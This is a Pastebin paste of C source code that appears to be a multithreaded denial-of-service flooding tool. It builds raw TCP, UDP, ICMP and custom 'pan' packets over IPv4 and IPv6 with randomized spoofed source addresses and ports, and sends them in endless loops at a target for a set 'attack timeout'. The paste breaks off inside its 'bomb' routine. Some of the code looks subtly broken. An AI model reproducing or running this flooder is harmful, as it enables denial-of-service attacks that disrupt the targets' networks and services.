Advertisement
wtfbbq

shit.c

Mar 20th, 2015
890
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 40.71 KB | None | 0 0
  1. /*
  2.  * This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
  3.  */
  4. #ifndef _BSD_SOURCE
  5. #define _BSD_SOURCE
  6. #endif
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <unistd.h>
  10. #include <netdb.h>
  11. #include <sys/types.h>
  12. #include <netinet/in_systm.h>
  13. #include <sys/socket.h>
  14. #include <string.h>
  15. #include <time.h>
  16. #include <signal.h>
  17. #ifndef __USE_BSD
  18. #define __USE_BSD
  19. #endif
  20. #ifndef __FAVOR_BSD
  21. #define __FAVOR_BSD
  22. #endif
  23. #include <netinet/in.h>
  24. #include <netinet/ip.h>
  25. #include <netinet/ip6.h>
  26. #include <netinet/ip_icmp.h>
  27. #include <netinet/icmp6.h>
  28. #include <netinet/tcp.h>
  29. #include <netinet/udp.h>
  30. #include <arpa/inet.h>
  31. #include <pthread.h>
  32.  
  33. #define INET_ADDR 16
  34. #define INET6_ADDR 46
  35.  
  36. #define TCP_FIN 1
  37. #define TCP_SYN 2
  38. #define TCP_RST 4
  39. #define TCP_PSH 8
  40. #define TCP_ACK 16
  41. #define TCP_URG 32
  42. #define TCP_ECE 64
  43. #define TCP_CWR 256
  44. #define TCP_NOF 512
  45. #define TCP_FRG 512
  46. #define TCP_PAN 512
  47.  
  48. #define TCP_BMB 2048
  49. #define UDP_BMB 2048
  50. #define RAW_BMB 2048
  51.  
  52. #define UDP_CFF 8192
  53.  
  54. #define ICMP_ECHO_G 16384
  55. #define ICMP_HDRLEN 8
  56.  
  57. #define TH_FIN 0x01
  58. #define TH_SYN 0x02
  59. #define TH_RST 0x04
  60. #define TH_PUSH 0x08
  61. #define TH_ACK 0x10
  62. #define TH_URG 0x20
  63. #define TH_ECE 0x40
  64. #define TH_CWR 0x80
  65.  
  66. /* TH_NOF */
  67. #define TH_NOF 0x0
  68.  
  69. #ifdef LINUX
  70. #define FIX(x) htons(x)
  71. #else
  72. #define FIX(x) (x)
  73. #endif
  74.  
  75. #define MAX_THREADS 32768
  76.  
  77. pthread_t attack_thread[MAX_THREADS];
  78. struct thread_data {
  79. int initialized;// valid thread?
  80. int flag4, flag6;// v4 or v6
  81. int start;
  82. int packets;
  83. unsigned int timeout;// attack timeout
  84. int thread;
  85. unsigned int bombsize;// size of connect bomb
  86. unsigned int datasize;// size of tcp data after header
  87. unsigned int window_size; // had to add this in .. wwas not defined with linux boxes
  88. int socket;// rawsock
  89. int a_flags;// a_flags
  90. struct sockaddr_in destination4;
  91. struct sockaddr_in6 destination6;
  92. u_long dstaddr;
  93. u_char th_flags;
  94. int d_lport;
  95. int d_hport;
  96. int s_lport;
  97. int s_hport;
  98. char *src_class;
  99. char *dst_class;
  100. char SrcIP4[INET_ADDR];
  101. char SrcIP6[INET6_ADDR];
  102. char DestIP4[INET_ADDR];
  103. char DestIP6[INET6_ADDR];
  104. };
  105. struct thread_data thread_data_array[MAX_THREADS];
  106.  
  107. void *send_tcp(void *arg);
  108. void *send_pan(void *arg);
  109. void *send_udp(void *arg);
  110. void *send_icmp(void *arg);
  111. void *send_bomb(void *arg);
  112.  
  113. void handle_exit();
  114. unsigned short in_cksum(unsigned short *addr, int len);
  115. unsigned short xchecksum(unsigned short *buffer, int size);
  116. char *class2ip(const char *class);
  117. char *class2ip6(const char *class);
  118. void inject(struct ip *ip, u_char p, u_char len);
  119. void inject6(struct ip6_hdr *ip, u_char p, u_char len);
  120. void pfpacket4(struct ip *ip, u_char p, u_char len);
  121. void pfpacket6(struct ip6_hdr *ip, u_char p, u_char len);
  122. u_long lookup(const char *host);
  123. int main(int argc, char *argv[]);
  124.  
  125. struct pseudo_hdr {
  126. u_long saddr, daddr; /* source and dest address */
  127. u_char mbz, ptcl; /* zero and protocol */
  128. u_short tcpl; /* tcp length */
  129. };
  130. struct checksum {
  131. struct pseudo_hdr pseudo;
  132. struct tcphdr tcp;
  133. //struct panhdr panhdr;
  134. };
  135.  
  136. void handle_exit() {
  137. int packets;
  138. packets = thread_data_array[1].packets + thread_data_array[2].packets + thread_data_array[4].packets + thread_data_array[8].packets + thread_data_array[16].packets +
  139.  
  140. thread_data_array[32].packets + thread_data_array[64].packets + thread_data_array[128].packets + thread_data_array[256].packets + thread_data_array[512].packets +
  141.  
  142. thread_data_array[1024].packets + thread_data_array[2048].packets + thread_data_array[4096].packets + thread_data_array[8192].packets + thread_data_array[16384].packets;
  143. printf ("Packeting completed, %d total, %d seconds, %d pps\n", packets, (int) time (NULL) - thread_data_array[0].start, packets / ((int) time (NULL) -
  144.  
  145. thread_data_array[0].start));
  146. exit (0);
  147. }
  148.  
  149. unsigned short in_cksum(unsigned short *addr, int len) {
  150. int nleft = len;
  151. int sum = 0;
  152. unsigned short *w = addr;
  153. unsigned short answer = 0;
  154. while (nleft > 1) {
  155. sum += *w++;
  156. nleft -= 2;
  157. }
  158. if (nleft == 1) {
  159. *(unsigned char *) (&answer) = *(unsigned char *)w;
  160. sum += answer;
  161. }
  162. sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
  163. sum += (sum >> 16); /* add carry */
  164. answer = ~sum; /* truncate to 16 bits */
  165. return answer;
  166. }
  167.  
  168. unsigned short xchecksum(unsigned short *buffer, int size) { /* the beast i shulda kept to myself!! */
  169. unsigned int sum = 0;
  170. __asm__ __volatile__(
  171. "movl (%1), %0\n"
  172. "subl $4, %2\n"
  173. "jbe 2f\n"
  174. "addl 4(%1), %0\n"
  175. "adcl 8(%1), %0\n"
  176. "adcl 12(%1), %0\n"
  177. "1:\n"
  178. "adcl 16(%1), %0\n"
  179. "lea 4(%1), %1\n"
  180. "decl %2\n"
  181. "jne 1b\n"
  182. "adcl $0, %0\n"
  183. "movl %0, %2\n"
  184. "shrl $16, %0\n"
  185. "addw %w2, %w0\n"
  186. "adcl $0, %0\n"
  187. "notl %0\n"
  188. "2:\n"
  189. : "=r" (sum), "=r" (buffer), "=r" (size)
  190. : "1" (buffer), "2" (size)
  191. );
  192. return(sum);
  193. }
  194.  
  195. char *src_class, *dst_class = NULL;
  196. char *class2ip(const char *class) { // little more realistic than how it was…shitty 255.* ips look like a joke ;p better now..
  197. static char ip[INET_ADDR];
  198. int i, j;
  199. for (i = 0, j = 0; class[i] != '\0'; ++i)
  200. if (class[i] == '.')
  201. ++j;
  202. switch (j) {
  203. case 0:
  204. sprintf(ip, "%s.%d.%d.%d", class, (int) random() % 244+1, (int) random() % 188+1, (int) random() % 90+1);
  205. break;
  206. case 1:
  207. sprintf(ip, "%s.%d.%d", class, (int) random() % 220+1, (int) random() % 124+1);
  208. break;
  209. case 2:
  210. sprintf(ip, "%s.%d", class, (int) random() % 140+1);
  211. break;
  212. default: strncpy(ip, class, INET_ADDR);
  213. break;
  214. }
  215. return ip;
  216. }
  217.  
  218. char *class2ip6(const char *class) {
  219. static char ip[INET6_ADDR];
  220. uint16_t n;
  221. int x, y;
  222. for (x = 0, y = 0; class[x] != '\0'; ++x)
  223. if (class[x] == ':')
  224. ++y;
  225. int i;
  226. for (i = 0; i < 7; i++) {
  227. char hex[3][i];
  228. n = mrand48();
  229. n = rand();
  230. FILE * f = fopen("/dev/urandom", "rb");
  231. fread(&n, sizeof(uint16_t), 1, f);
  232. sprintf(hex[i], "%04X", n);
  233. if(i==0)
  234. strcpy(ip, class);
  235. strcat(ip, hex[i]);
  236. if(i < 6)
  237. strcat(ip, "2001:");
  238. }
  239. return ip;
  240. }
  241.  
  242. void inject(struct ip *ip, u_char p, u_char len) {
  243. ip->ip_hl = 5;
  244. ip->ip_v = 4;
  245. ip->ip_p = p;
  246. ip->ip_tos = 0x08;
  247. ip->ip_id = random();
  248. ip->ip_len = len;
  249. ip->ip_off = 0;
  250. ip->ip_ttl = 128;
  251. ip->ip_dst.s_addr = thread_data_array[0].dst_class != NULL ? inet_addr(class2ip(thread_data_array[0].dst_class)) : thread_data_array[0].dstaddr;
  252. ip->ip_src.s_addr = thread_data_array[0].src_class != NULL ? inet_addr(class2ip(thread_data_array[0].src_class)) : random();
  253. thread_data_array[0].destination4.sin_addr.s_addr = ip->ip_dst.s_addr;
  254. }
  255.  
  256. void inject6(struct ip6_hdr *ip, u_char p, u_char len) {
  257. ip->ip6_ctlun.ip6_un1.ip6_un1_flow= htonl ((6 << 28) | (0 << 20) | 0);
  258. ip->ip6_ctlun.ip6_un1.ip6_un1_plen = htons(8 + len);
  259. ip->ip6_ctlun.ip6_un1.ip6_un1_nxt= p;
  260. ip->ip6_ctlun.ip6_un1.ip6_un1_hlim= 128;
  261. inet_pton(AF_INET6, thread_data_array[0].DestIP6, &ip->ip6_dst);
  262. inet_pton(AF_INET6, thread_data_array[0].src_class, &ip->ip6_src);
  263. thread_data_array[0].destination6.sin6_addr = ip->ip6_dst;
  264. }
  265.  
  266. /* for pan sack attaK */
  267. void pfpacket4(struct ip *ip, u_char p, u_char len) {
  268. ip->ip_hl = 5;
  269. ip->ip_v = 4;
  270. ip->ip_p = p;
  271. ip->ip_tos = 0x00;
  272. ip->ip_id = random();
  273. ip->ip_len = len;
  274. ip->ip_off = 0;
  275. ip->ip_ttl = 255;
  276. ip->ip_dst.s_addr = thread_data_array[0].dst_class != NULL ? inet_addr(class2ip(thread_data_array[0].dst_class)) : thread_data_array[0].dstaddr;
  277. ip->ip_src.s_addr = thread_data_array[0].src_class != NULL ? inet_addr(class2ip(thread_data_array[0].src_class)) : random();
  278. thread_data_array[0].destination4.sin_addr.s_addr = ip->ip_dst.s_addr;
  279. }
  280.  
  281. void pfpacket6(struct ip6_hdr *ip, u_char p, u_char len) {
  282. ip->ip6_ctlun.ip6_un1.ip6_un1_flow= htonl ((6 << 28) | (0 << 20) | 0);
  283. ip->ip6_ctlun.ip6_un1.ip6_un1_plen = htons(8 + len);
  284. ip->ip6_ctlun.ip6_un1.ip6_un1_nxt= p;
  285. ip->ip6_ctlun.ip6_un1.ip6_un1_hlim= 255;
  286. inet_pton(PF_PACKET, thread_data_array[0].DestIP6, &ip->ip6_dst); /* some packet magic - yes this is right ONLY for one attak */
  287. inet_pton(PF_PACKET, thread_data_array[0].src_class, &ip->ip6_src);
  288. thread_data_array[0].destination6.sin6_addr = ip->ip6_dst;
  289. }
  290.  
  291. u_long lookup(const char *host) {
  292. struct hostent *hp;
  293. if ( (hp = gethostbyname(host)) == NULL) {
  294. perror("gethostbyname");
  295. exit(-1);
  296. }
  297. return *(u_long *)hp->h_addr;
  298. }
  299.  
  300. void *send_tcp(void* arg) {
  301. struct thread_data *param2 = arg;
  302. struct checksum checksum;
  303. struct packet {
  304. struct ip ip;
  305. struct tcphdr tcp;
  306. char buf[param2->datasize];
  307. } packet;
  308. struct packet6 {
  309. struct ip6_hdr ip;
  310. struct tcphdr tcp;
  311. char buf[param2->datasize];
  312. } packet6;
  313. printf("[%d] Acquired socket: %d\n", param2->thread, param2->socket);
  314. int i;
  315. for (i = sizeof(packet) + 1; i < (param2->datasize); i++) {
  316. packet.buf[i] = '\x00';
  317. }
  318. signal(SIGALRM, handle_exit);
  319. alarm(thread_data_array[0].timeout);
  320. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0) {
  321. do {
  322. memset(&packet, 0, sizeof packet);
  323. inject(&packet.ip, IPPROTO_TCP, FIX(sizeof packet));
  324. packet.ip.ip_sum = in_cksum((void *)&packet.ip, sizeof(packet));
  325. checksum.pseudo.daddr = thread_data_array[0].dstaddr;
  326. checksum.pseudo.mbz = 0;
  327. checksum.pseudo.ptcl = IPPROTO_RAW;
  328. checksum.pseudo.tcpl = sizeof(struct tcphdr);
  329. checksum.pseudo.saddr = packet.ip.ip_src.s_addr;
  330. packet.tcp.th_win = htons(65535);
  331. packet.tcp.th_seq = random();
  332. if (param2->th_flags == TCP_ACK)
  333. packet.tcp.th_ack = 1;
  334. else
  335. packet.tcp.th_ack = 0;
  336. packet.tcp.th_flags = param2->th_flags;
  337. packet.tcp.th_off = 5;
  338. if (param2->th_flags == TCP_URG)
  339. packet.tcp.th_urp = 1;
  340. else
  341. packet.tcp.th_urp = 0;
  342. packet.tcp.th_sport = thread_data_array[0].s_lport == 0 ? random () : htons(thread_data_array[0].s_lport + (random() % (thread_data_array[0].s_hport -
  343.  
  344. thread_data_array[0].s_lport + 1)));
  345. packet.tcp.th_dport = thread_data_array[0].d_lport == 0 ? random () : htons(thread_data_array[0].d_lport + (random() % (thread_data_array[0].d_hport -
  346.  
  347. thread_data_array[0].d_lport + 1)));
  348. checksum.tcp = packet.tcp;
  349. packet.tcp.th_sum = in_cksum((void *)&checksum, sizeof(checksum));
  350. param2->packets++;
  351. } while (sendto(param2->socket, &packet.tcp, (sizeof packet),0, (struct sockaddr *)&thread_data_array[0].destination4,sizeof(thread_data_array[0].destination4)) );
  352. }
  353. if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1) {
  354. do {
  355. memset(&packet6, 0, sizeof packet6);
  356. inject6(&packet6.ip, IPPROTO_TCP, FIX(sizeof packet6));
  357. checksum.pseudo.daddr = thread_data_array[0].dstaddr;
  358. checksum.pseudo.mbz = 0;
  359. checksum.pseudo.ptcl = IPPROTO_TCP;
  360. checksum.pseudo.tcpl = sizeof(struct tcphdr);
  361. packet6.tcp.th_win = htons(65535);
  362. packet6.tcp.th_seq = random();
  363. if (param2->th_flags == TCP_ACK)
  364. packet6.tcp.th_ack = 1;
  365. else
  366. packet6.tcp.th_ack = 0;
  367. packet6.tcp.th_flags = param2->th_flags;
  368. packet6.tcp.th_off = 5;
  369. if (param2->th_flags == TCP_URG)
  370. packet6.tcp.th_urp = 1;
  371. else
  372. packet6.tcp.th_urp = 0;
  373. packet6.tcp.th_sport = thread_data_array[0].s_lport == 0 ? random () : htons(thread_data_array[0].s_lport + (random() % (thread_data_array[0].s_hport -
  374.  
  375. thread_data_array[0].s_lport + 1)));
  376. packet6.tcp.th_dport = thread_data_array[0].d_lport == 0 ? random () : htons(thread_data_array[0].d_lport + (random() % (thread_data_array[0].d_hport -
  377.  
  378. thread_data_array[0].d_lport + 1)));
  379. checksum.tcp = packet.tcp;
  380. packet.tcp.th_sum = in_cksum((void *)&checksum, sizeof(checksum));
  381. param2->packets++;
  382. } while (sendto(param2->socket, &packet6.tcp, (sizeof packet6), 0, (struct sockaddr *)&thread_data_array[0].destination6,sizeof(thread_data_array[0].destination6)) );
  383. }
  384. return 0;
  385. }
  386.  
  387. struct panhdr {
  388. u_int16_t th_sport;
  389. u_int16_t th_dport;
  390. u_int32_t th_seq;
  391. #if __BYTE_ORDER == __LITTLE_ENDIAN
  392. u_int8_t th_x2:4; /* (unused) */
  393. u_int8_t th_off:5; /* data offset */
  394. #endif
  395. #if __BYTE_ORDER == __BIG_ENDIAN
  396. u_int8_t th_off:5; /* data offset */
  397. u_int8_t th_x2:4; /* (unused) */
  398. #endif
  399. u_int8_t th_flags;
  400. u_int16_t th_win;
  401. u_int16_t th_sum; /* checksum */
  402. u_int32_t th_ack;
  403. u_int16_t th_syn;
  404. u_int16_t th_rst;
  405. u_int16_t th_fin;
  406. u_int16_t th_urp;
  407. };
  408.  
  409. struct pan_option_mss {
  410. uint8_t kind;
  411. uint8_t len;
  412. uint16_t mss;
  413. } __attribute__((packed));
  414.  
  415. struct panhdr_mss {
  416. struct panhdr panhdr;
  417. struct pan_option_mss mss;
  418. };
  419.  
  420. /* pan sack */
  421. void *send_pan(void* arg) {
  422. struct tcphdr *tcphdr = NULL;
  423. struct thread_data *param2 = arg;
  424. struct checksum checksum;
  425. struct packet {
  426. struct ip ip;
  427. struct panhdr tcp;
  428. } packet;
  429. struct packet6 {
  430. struct ip6_hdr ip;
  431. struct panhdr tcp;
  432. } packet6;
  433. printf("[%d] Acquired socket: %d\n", param2->thread, param2->socket);
  434. signal(SIGALRM, handle_exit);
  435. alarm(thread_data_array[0].timeout);
  436. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0) {
  437. do {
  438. memset(&packet, 0, sizeof packet);
  439. pfpacket4(&packet.ip, IPPROTO_RAW, FIX(sizeof packet));
  440. packet.ip.ip_sum = in_cksum((void *)&packet.ip, sizeof(packet));
  441. checksum.pseudo.daddr = thread_data_array[0].dstaddr;
  442. checksum.pseudo.mbz = 0;
  443. checksum.pseudo.ptcl = IPPROTO_RAW;
  444. checksum.pseudo.tcpl = sizeof(struct tcphdr);
  445. checksum.pseudo.saddr = packet.ip.ip_src.s_addr;
  446. packet.tcp.th_win = htons(16768);
  447. packet.tcp.th_seq = random();
  448. packet.tcp.th_off = 5;
  449. if (param2->th_flags == TCP_ACK)
  450. packet.tcp.th_ack = 1;
  451. else
  452. packet.tcp.th_ack = 0;
  453. if (param2->th_flags == TCP_FIN)
  454. packet.tcp.th_fin = 1;
  455. else
  456. packet.tcp.th_fin = 0;
  457. if (param2->th_flags == TCP_RST)
  458. packet.tcp.th_rst = 1;
  459. else
  460. packet.tcp.th_rst = 0;
  461. packet.tcp.th_flags = param2->th_flags;
  462. packet.tcp.th_sport = thread_data_array[0].s_lport == 0 ? random () : htons(thread_data_array[0].s_lport + (random() % (thread_data_array[0].s_hport -
  463.  
  464. thread_data_array[0].s_lport + 1)));
  465. packet.tcp.th_dport = thread_data_array[0].d_lport == 0 ? random () : htons(thread_data_array[0].d_lport + (random() % (thread_data_array[0].d_hport -
  466.  
  467. thread_data_array[0].d_lport + 1)));
  468. //checksum.tcp = 0; //packet.tcp;
  469. packet.tcp.th_sum = xchecksum((void *)&checksum, sizeof(checksum));
  470. param2->packets++;
  471. } while (sendto(param2->socket, &packet.tcp, (sizeof packet),0, (struct sockaddr *)&thread_data_array[0].destination4,sizeof(thread_data_array[0].destination4)));
  472. }
  473. if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1) {
  474. do {
  475. memset(&packet6, 0, sizeof packet6);
  476. pfpacket6(&packet6.ip, IPPROTO_RAW, FIX(sizeof packet6));
  477. checksum.pseudo.daddr = thread_data_array[0].dstaddr;
  478. checksum.pseudo.mbz = 0;
  479. checksum.pseudo.ptcl = IPPROTO_RAW;
  480. checksum.pseudo.tcpl = sizeof(struct tcphdr);
  481. packet6.tcp.th_win = htons(16768);
  482. packet6.tcp.th_seq = random();
  483. packet6.tcp.th_off = 5;
  484. if(param2->th_flags == TCP_ACK)
  485. packet6.tcp.th_ack = 1;
  486. else
  487. packet6.tcp.th_ack = 0;
  488. if(param2->th_flags == TCP_FIN)
  489. packet6.tcp.th_fin = 1;
  490. else
  491. packet6.tcp.th_fin = 0;
  492. if(param2->th_flags == TCP_RST)
  493. packet6.tcp.th_rst = 1;
  494. else
  495. packet6.tcp.th_rst = 0;
  496. packet6.tcp.th_flags = param2->th_flags;
  497. packet6.tcp.th_sport = thread_data_array[0].s_lport == 0 ? random () : htons(thread_data_array[0].s_lport + (random() % (thread_data_array[0].s_hport -
  498.  
  499. thread_data_array[0].s_lport + 1)));
  500. packet6.tcp.th_dport = thread_data_array[0].d_lport == 0 ? random () : htons(thread_data_array[0].d_lport + (random() % (thread_data_array[0].d_hport -
  501.  
  502. thread_data_array[0].d_lport + 1)));
  503. //checksum.tcp = 0; //packet6.tcp;
  504. packet6.tcp.th_sum = xchecksum((void *)&checksum, sizeof(checksum));
  505. param2->packets++;
  506. } while (sendto(param2->socket, &packet6.tcp, (sizeof packet6),0, (struct sockaddr *)&thread_data_array[0].destination6,sizeof(thread_data_array[0].destination6)));
  507. }
  508. return 0;
  509. }
  510.  
  511. void *send_udp(void* arg) {
  512. struct thread_data *param2 = arg;
  513. struct packet {
  514. struct ip ip;
  515. struct udphdr udp;
  516. } packet;
  517. struct packet6 {
  518. struct ip6_hdr ip;
  519. struct udphdr udp;
  520. } packet6;
  521. printf("[%d] Acquired socket: %d\n", param2->thread, param2->socket);
  522. signal(SIGALRM, handle_exit);
  523. alarm(thread_data_array[0].timeout);
  524. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0) {
  525. do {
  526. memset(&packet, 0, sizeof packet);
  527. inject(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
  528. packet.ip.ip_sum = in_cksum((void *)&packet.ip, sizeof(packet));
  529. packet.udp.uh_sport = thread_data_array[0].s_lport == 0 ? random () : htons(thread_data_array[0].s_lport + (random() % (thread_data_array[0].s_hport
  530.  
  531. ,thread_data_array[0].s_lport + 1)));
  532. packet.udp.uh_dport = thread_data_array[0].d_lport == 0 ? random () : htons(thread_data_array[0].d_lport + (random() % (thread_data_array[0].d_hport -
  533.  
  534. thread_data_array[0].d_lport + 1)));
  535. packet.udp.uh_ulen = htons(sizeof packet.udp);
  536. packet.udp.uh_sum = 0;
  537. packet.udp.uh_sum = in_cksum((void *)&packet, sizeof(packet));
  538. param2->packets++;
  539. } while (sendto(param2->socket, &packet.udp, (sizeof packet), 0, (struct sockaddr *)&thread_data_array[0].destination4,sizeof(thread_data_array[0].destination4)));
  540. } else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1) {
  541. do {
  542. memset(&packet6, 0, sizeof packet6);
  543. inject6(&packet6.ip, IPPROTO_UDP, FIX(sizeof packet6));
  544. packet6.udp.uh_sport = thread_data_array[0].s_lport == 0 ? random () : htons(thread_data_array[0].s_lport + (random() % (thread_data_array[0].s_hport -
  545. thread_data_array[0].s_lport + 1)));
  546. packet6.udp.uh_dport = thread_data_array[0].d_lport == 0 ? random () : htons(thread_data_array[0].d_lport + (random() % (thread_data_array[0].d_hport -
  547. thread_data_array[0].d_lport + 1)));
  548. packet6.udp.uh_ulen = htons(sizeof packet6.udp);
  549. packet6.udp.uh_sum = 0;
  550. packet6.udp.uh_sum = in_cksum((void *)&packet6, sizeof(packet6));
  551. param2->packets++;
  552. } while (sendto(param2->socket,&packet6.udp, (sizeof packet6),0,(struct sockaddr *)&thread_data_array[0].destination6,sizeof(thread_data_array[0].destination6)));
  553. }
  554. return 0;
  555. }
  556.  
  557. void *send_icmp(void* arg) {
  558. struct thread_data *param2 = arg;
  559. struct packet {
  560. struct ip ip;
  561. struct icmp icmp;
  562. } packet;
  563. struct packet6 {
  564. struct ip6_hdr ip;
  565. struct icmp6_hdr icmp;
  566. } packet6;
  567. printf("[%d] Acquired socket: %d\n", param2->thread, param2->socket);
  568. signal(SIGALRM, handle_exit);
  569. alarm(thread_data_array[0].timeout);
  570. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0) {
  571. do {
  572. memset(&packet, 0x0, sizeof(packet.ip)+sizeof(packet.icmp));
  573. inject(&packet.ip, IPPROTO_ICMP, FIX(sizeof packet));
  574. packet.ip.ip_sum = in_cksum((void *)&packet.ip, sizeof(packet.ip));
  575. packet.icmp.icmp_type = ICMP_ECHO;
  576. packet.icmp.icmp_code = 0;
  577. packet.icmp.icmp_cksum = htons( ~(ICMP_ECHO << 8));
  578. packet.icmp.icmp_id = rand();
  579. packet.icmp.icmp_seq = rand();
  580. param2->packets++;
  581. } while (sendto(param2->socket, &packet.icmp, (sizeof packet), 0, (struct sockaddr *)&thread_data_array[0].destination4, sizeof(thread_data_array[0].destination4)));
  582. } else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1) {
  583. do {
  584. memset(&packet6, 0x0, sizeof(packet6.ip)+sizeof(packet6.icmp));
  585. inject6(&packet6.ip, IPPROTO_ICMPV6, FIX(sizeof packet6));
  586. packet6.icmp.icmp6_type = ICMP6_ECHO_REQUEST;
  587. packet6.icmp.icmp6_code = 0;
  588. packet6.icmp.icmp6_cksum = 0;
  589. packet6.icmp.icmp6_cksum = in_cksum((void *)&packet6, sizeof(packet6));
  590. packet6.icmp.icmp6_id=rand();
  591. packet6.icmp.icmp6_seq=rand();
  592. param2->packets++;
  593. } while (sendto(param2->socket, &packet6.icmp, (sizeof packet6),0, (struct sockaddr *)&thread_data_array[0].destination6,sizeof(thread_data_array[0].destination6)));
  594. }
  595. return 0;
  596. }
  597.  
  598. void *send_bomb(void* arg) {
  599. struct thread_data *param2 = arg;
  600. struct checksum checksum;
  601. struct packet {
  602. struct ip ip;
  603. struct tcphdr tcp;
  604. struct udphdr udp;
  605. char buf[param2->datasize];
  606. } packet;
  607. struct packet6 {
  608. struct ip6_hdr ip;
  609. struct tcphdr tcp;
  610. struct udphdr udp;
  611. char buf[param2->datasize];
  612. } packet6;
  613. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  614. connect(param2->socket, (struct sockaddr *)&thread_data_array[0].destination4, sizeof(struct sockaddr_in));
  615. else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  616. connect(param2->socket, (struct sockaddr *)&thread_data_array[0].destination6, sizeof(struct sockaddr_in6));
  617. printf("[%d] Acquired socket: %d\n", param2->thread, param2->socket);
  618. signal(SIGALRM, handle_exit);
  619. alarm(thread_data_array[0].timeout);
  620. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0) {
  621. do {
  622. if(param2->a_flags == TCP_BMB || param2->a_flags == RAW_BMB)
  623. memset(&packet, 0x0, sizeof(packet.ip)+sizeof(packet.tcp)+param2->datasize);
  624. else if (param2->a_flags == UDP_BMB)
  625. memset(&packet, 0x0, sizeof(packet.ip)+sizeof(packet.udp)+param2->datasize);
  626. if(param2->a_flags == TCP_BMB)
  627. inject(&packet.ip, IPPROTO_TCP, FIX(sizeof(packet)));
  628. else if(param2->a_flags == RAW_BMB)
  629. inject(&packet.ip, IPPROTO_IPV6, FIX(sizeof(packet)));
  630. else if(param2->a_flags == UDP_BMB)
  631. inject(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
  632. if(param2->a_flags == TCP_BMB || param2->a_flags == RAW_BMB) {
  633. packet.ip.ip_sum = in_cksum((void *)&packet.ip, sizeof(packet));
  634. checksum.pseudo.daddr= thread_data_array[0].dstaddr;
  635. checksum.pseudo.mbz = 0;
  636. if(param2->a_flags == TCP_BMB)
  637. checksum.pseudo.ptcl = IPPROTO_TCP;
  638. else if(param2->a_flags == RAW_BMB)
  639. checksum.pseudo.ptcl = IPPROTO_IPV6;
  640. checksum.pseudo.tcpl = sizeof(struct tcphdr)+param2->datasize;
  641. checksum.pseudo.saddr = packet.ip.ip_src.s_addr;
  642. packet.tcp.th_win = thread_data_array[0].window_size == 0 ? htons(rand()%(1-65535)+1) : htons(thread_data_array[0].window_size);
  643. packet.tcp.th_seq = random();
  644. packet.tcp.th_off = 5;
  645. packet.tcp.th_sport = thread_data_array[0].s_lport == 0 ? random () : htons(thread_data_array[0].s_lport + (random() % (thread_data_array[0].s_hport -
  646. thread_data_array[0].s_lport + 1)));
  647. packet.tcp.th_dport = thread_data_array[0].d_lport == 0 ? random () : htons(thread_data_array[0].d_lport + (random() % (thread_data_array[0].d_hport -
  648. thread_data_array[0].d_lport + 1)));
  649. checksum.tcp = packet.tcp;
  650. packet.tcp.th_sum = xchecksum((void *)&checksum, sizeof(checksum));
  651. } else if(param2->a_flags == UDP_BMB) {
  652. packet.ip.ip_sum = in_cksum((void *)&packet.ip, sizeof(packet));
  653. checksum.pseudo.ptcl = IPPROTO_UDP;
  654. checksum.pseudo.tcpl = sizeof(struct tcphdr)+param2->datasize;
  655. checksum.pseudo.saddr = packet.ip.ip_src.s_addr;
  656. packet.udp.uh_sport = thread_data_array[0].s_lport == 0 ? random () : htons(thread_data_array[0].s_lport + (random() % (thread_data_array[0].s_hport -
  657. thread_data_array[0].s_lport + 1)));
  658. packet.udp.uh_dport = thread_data_array[0].d_lport == 0 ? random () : htons(thread_data_array[0].d_lport + (random() % (thread_data_array[0].d_hport -
  659. thread_data_array[0].d_lport + 1)));
  660. packet.udp.uh_ulen = htons(sizeof packet.udp)+param2->datasize;
  661. packet.udp.uh_sum = in_cksum((void *)&packet, sizeof(packet));
  662. }
  663. param2->packets++;
  664. //} while (sendto(param2->socket, &packet, (sizeof packet), 0, NULL, 0));
  665. //while (send(param2->socket, &packet, sizeof(packet), 0));
  666. } while (sendto(param2->socket, &packet.udp, (sizeof packet), 0, (struct sockaddr *)&thread_data_array[0].destination4,sizeof(thread_data_array[0].destination4)));
  667. } else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1) {
  668. do {
  669. if(param2->a_flags == TCP_BMB || param2->a_flags == RAW_BMB) {
  670. memset(&packet6, 0x0, sizeof(packet6.ip)+sizeof(packet6.tcp)+param2->datasize);
  671. if(param2->a_flags == TCP_BMB)
  672. inject6(&packet6.ip, IPPROTO_TCP, FIX(sizeof(packet6)));
  673. else if(param2->a_flags == RAW_BMB)
  674. inject6(&packet6.ip, IPPROTO_IPV6, FIX(sizeof(packet6)));
  675. checksum.pseudo.daddr = thread_data_array[0].dstaddr;
  676. checksum.pseudo.mbz = 0;
  677. if(param2->a_flags == TCP_BMB)
  678. checksum.pseudo.ptcl = IPPROTO_TCP;
  679. else if(param2->a_flags == RAW_BMB)
  680. checksum.pseudo.ptcl = IPPROTO_RAW;
  681. checksum.pseudo.tcpl = sizeof(struct tcphdr);
  682. packet6.tcp.th_win = thread_data_array[0].window_size == 0 ? htons(rand()%(1-65535)+1) : htons(thread_data_array[0].window_size);
  683. packet6.tcp.th_seq = random();
  684. packet6.tcp.th_sport = thread_data_array[0].s_lport == 0 ? random () : htons(thread_data_array[0].s_lport + (random() % (thread_data_array[0].s_hport -
  685. thread_data_array[0].s_lport + 1)));
  686. packet6.tcp.th_dport = thread_data_array[0].d_lport == 0 ? random () : htons(thread_data_array[0].d_lport + (random() % (thread_data_array[0].d_hport -
  687. thread_data_array[0].d_lport + 1)));
  688. } else if(param2->a_flags == UDP_BMB) {
